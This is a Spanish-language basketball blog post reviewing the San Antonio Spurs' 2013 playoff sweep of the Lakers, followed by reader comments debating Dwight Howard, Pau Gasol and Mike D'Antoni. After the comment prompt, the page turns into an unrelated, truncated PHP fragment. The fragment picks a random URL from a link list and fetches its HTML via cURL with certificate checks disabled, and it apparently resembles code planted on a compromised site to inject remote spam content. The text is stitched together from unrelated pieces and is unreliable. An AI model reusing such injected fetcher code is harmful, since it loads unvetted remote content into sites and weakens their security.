Resumen San Antonio Spurs 4 – Los Angeles Lakers 0

29 de April de 2013 por HisRoyalAirness

Ni 4-2, ni siquiera 4-1. No hubo serie en ningún momento. Todos los partidos cayeron del lado de los de Popovich por una media de 19 puntos.

A la baja mayúscula e insustituible de “la Mamba Negra” se le fueron uniendo las de Jodie Meeks, Steve Nash, Steve Blake y Metta World Wa… Peace. El backcourt titular del último partido posiblemente es el más lamentable de los Lakers en toda su historia de playoffs.

No sé si, dadas las circunstancias, puede haber un verdadero análisis del duelo ya que, mientras en San Antonio la rotación era amplia, la defensa intensa y la táctica perfecta, en el banquillo de los Lakers Mike D´Antoni se dedicaba a decir “run, run, run”. Ya decíamos en el análisis previo que bajo ninguna circunstancia el partido podía irse a marcadores altos porque los de L.A. sin Kobe no tenían anotación suficiente y que deberían ser continuos los balones al poste para aprovechar el poderío de sus interiores y ralentizar el juego. Pues nada: Juego alocado, una media de 16 pérdidas por juego y gente como Steve Blake tirando 15 tiros por partido con 12 segundos en el crono. No fue una serie justa ni equilibrada pero, con Gasol y Howard (y algo de Nash) creo que algo más de guerra se podía dar. 

Tony Parker, como era de esperar, ha campado a sus anchas y Tim Duncan ha hecho y deshecho a su antojo, como de costumbre, e incluso ha podido dosificarse por momentos. Esto sumado a la recuperación de Manudona y a una aportación consistente y efectiva del banquillo y de los llamados “role players” ha hecho inoperante cualquier atisbo de voluntad californiana.

Los mejores por parte de los angelinos han sido los interiores, ninguna sorpresa, aunque en actitud a Dwight Howard pueden achacársele varias cosas. ¿No quería ser el líder? No lo ha sido. Pau Gasol ha estado a buen nivel pero la táctica ofensiva y su situación en la cancha no han beneficiado al equipo.

Irónicamente, cuando mejor han jugado es cuando ambos pívots jugaban juntos y en el poste, lo cual complicaba la defensa de los Spurs, pero esto duraba un cuarto a lo sumo. A su entrenador le entraban las prisas y dejaba sólo a uno, perdiendo así por completo su única supuesta superioridad.

La defensa, en la línea de toda la temporada, ha sido un despropósito.

Ahora los de San Antonio tienen unos cuantos días para tirarse en la tumbona a esperar rival y descansar las piernas, algo clave ya que les esperan rivales jóvenes y necesitarán todo el reposo que puedan permitirse.

Se avecina un verano movidito en la franquicia de Hollywood. Vista la salida de Howard a los vestuarios y sus comentarios a Mitch Kupchak no parece que haya muy buena relación entre el General Manager y el supuesto futuro jugador franquicia. A lo mejor firma como agente libre por cualquier equipo (¿Dallas?) y les deja con cara de bobos. Si se queda es más que probable que asistamos a un traspaso de Pau y me temo que pujarán seriamente por Josh Smith, ya que el impuesto de lujo no suele ser un problema por esos lares, por mucho que vaya a subir en los próximos años.

Veremos qué pasa pero se avecina tormenta.

PREMIOS 

MVP: Tony Parker. No ha decepcionado en ningún partido y ha sido una auténtica pesadilla para el perímetro de los amarillos. Está en un momento físico excelente y su anotación más baja fueron 18 puntos. 22´2 puntos con más de un 50% en tiros de campo y 6´5 asistencias. No hizo falta más.

Rookie: Los Playoffs no son momento para rookies pero, dado el papelón que se les presentó, Darius Morris y Andrew Goudelock cumplieron con más de 10 puntitos por noche.

Sorpresa: La recuperación de Manu Ginobil. En el único momento de la serie en que los angelinos parecieron poder dar un poco de guerra (primer partido), el argentino se puso el traje de faena con 18 puntos en 18 minutos y adiós muy buenas. Su mate en el último partido tampoco tiene desperdicio. Un chaval.

Decepción: Mike D’Antoni. Los Lakers harían bien en rescindir su contrato. Se le dio a su jugador talismán (Nash), al mejor pívot en pick&roll de la liga (Howard) e incluso un 4 abierto (Jamison) por si no le gustaba Pau. Su temporada y su gestión de los minutos ha sido un absoluto bochorno y las lesiones no deberían ser excusa de su fracaso, si acaso tiene gran parte de culpa por el minutaje dado a sus titulares, cuya media de edad supera la treintena. No ha sabido explotar las virtudes de su plantilla ni controlar el vestuario. Sin eximir a los jugadores, queda señalado como responsable directo de esta debacle, no por la serie, sinó por el año entero.

Esfuerzo en vano: Es justo nombrar a Pau Gasol y Dwight Howard por su esfuerzo en los tableros en el primer par de partidos. Buenos números en anotación de Dwight y en rebotes de ambos pero poco impacto en el juego. Podrían haber sido la mejor pareja interior del campeonato y se ha quedado en un quiero y no puedo. Una pena.

Comenta

7 comentarios a esta entrada

  1. nba dice:
    #1

    Yo he echado de menos que Pau se hubiese saltado un poco la jerarquia, para ver si realmente estaba tan mal de fisico o era simplemente que acataba las ordenes del entrenador.
    Ebanks le debe de haber robado la mujer a D’antoni porque sino no tiene explicacion lo que ha hecho con este.
    Para la temporada que viene solo se deberian salvar Kobe,Jamison, Clark,Blake, Hill y alguno de los interiores o Pau o Howard, al resto puerta, no tiene sentido pagar contratazos para un juego tan pobre.

      Citar

  2. Jose Luis dice:
    #2

    A mí no me parece Howard el mejor pívot de pick & roll de la liga. Me explico:

    1) La defensa sabe que siempre va a ir hacia el aro. No tienen más que cerrarse y intentar provocar la falta en ataque o pegar el hachazo, aparte que le cuesta levantar el balón.
    2) No es capaz de hacer un tiro ni de 2-3 metros en catch & shoot, lo que también incide en el punto anterior. Es muy fácil defender un pick & roll de Howard.
    3) Sus porcentajes de tiros libres tampoco son buenos, lo cual facilita más aún la defensa.

    No sé, jugadores como Horford, Marc, el propio Pau, hasta Cousins, me parecen mejores jugadores de pick & roll.

      Citar

  3. Jose Luis dice:
    #3

    Por lo demás bien el resumen, no quiero centrarme en esa crítica. Lástima de serie.

      Citar

  4. Denise dice:
    #4

    nba:
    Yo he echado de menos que Pau se hubiese saltado un poco la jerarquia, para ver si realmente estaba tan mal de fisico o era simplemente que acataba las ordenes del entrenador.
    Ebanks le debe de haber robado la mujer a D’antoni porque sino no tiene explicacion lo que ha hecho con este.
    Para la temporada que viene solo se deberian salvar Kobe,Jamison, Clark,Blake, Hill y alguno de los interiores o Pau o Howard, al resto puerta, no tiene sentido pagar contratazos para un juego tan pobre.

    Bueno, yo ejecutaría la opción por 1,5 millones de Meeks. El chaval dentro de su rol lo ha hecho bien,
    – Sobre Jamison, me pongo en su pellejo y me iría cagando leches de allí. Para un tío cuya única motivación a estas alturas debe ser el anillo, lo más lógico sería otro contratito por el mínimo pero esta vez por Miami, OKC, ó New York
    – Si fuera Clark, despues de la temporada tan buena que ha hecho, lo primero que debe hacer es resolver su vida, y por tanto, si fuera él, ficharía por el equipo que más dinero me ofreciese, independientemente del proyecto ganador o perdedor que tenga. Tiene 24 años, ya tendrá tiempo de pelear por un anillo más tarde. Por tanto, no creo que renueve a no ser que L.A. le ofrezca un buen contrato, que no creo que esté en disposición de ofrecerlo. Yo pediría por lo menos 20 millones por cuatro años.
    – A Hill y a Blake los traspasaba. No me gustan ninguno de los 2 jugadores, y ambos tienen buen cartel, creo que podrían conseguir algo bueno por ellos.

      Citar

  5. HisRoyalAirness dice:
    #5

    Jose Luis:
    A mí no me parece Howard el mejor pívot de pick & roll de la liga. Me explico:

    1) La defensa sabe que siempre va a ir hacia el aro. No tienen más que cerrarse y intentar provocar la falta en ataque o pegar el hachazo, aparte que le cuesta levantar el balón.
    2) No es capaz de hacer un tiro ni de 2-3 metros en catch & shoot, lo que también incide en el punto anterior. Es muy fácil defender un pick & roll de Howard.
    3) Sus porcentajes de tiros libres tampoco son buenos, lo cual facilita más aún la defensa.

    No sé, jugadores como Horford, Marc, el propio Pau, hasta Cousins, me parecen mejores jugadores de pick & roll.

    Jose Luis lo del pick&roll no es una opinión mía. hay estadísticas sobre efectividad en cada tipo de jugada y, el año pasado, él era el mejor pivot y Nash el mejor base

      Citar

  6. Jose Luis dice:
    #6

    Si sí, lo sé, HisRoyal, quizá ha sido porque este año con la lesión ha estado menos efectivo. Yo que me he tragado muchos partidos de Lakers este año no le he visto efectivo en eso, y ha tenido a Nash y a D’Antoni, dos maestros de esto. No sé, creo que en PO es fácil parar en pick & roll a Howard. Además Howard ha hecho esos números tan buenos en la conferencia Este, con 40 partidos al año que son pura pachanga.

      Citar

  7. HisRoyalAirness dice:
    #7

    Jose Luis:
    Si sí, lo sé, HisRoyal, quizá ha sido porque este año con la lesión ha estado menos efectivo. Yo que me he tragado muchos partidos de Lakers este año no le he visto efectivo en eso, y ha tenido a Nash y a D’Antoni, dos maestros de esto. No sé, creo que en PO es fácil parar en pick & roll a Howard. Además Howard ha hecho esos números tan buenos en la conferencia Este, con 40 partidos al año que son pura pachanga.

    Agree

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>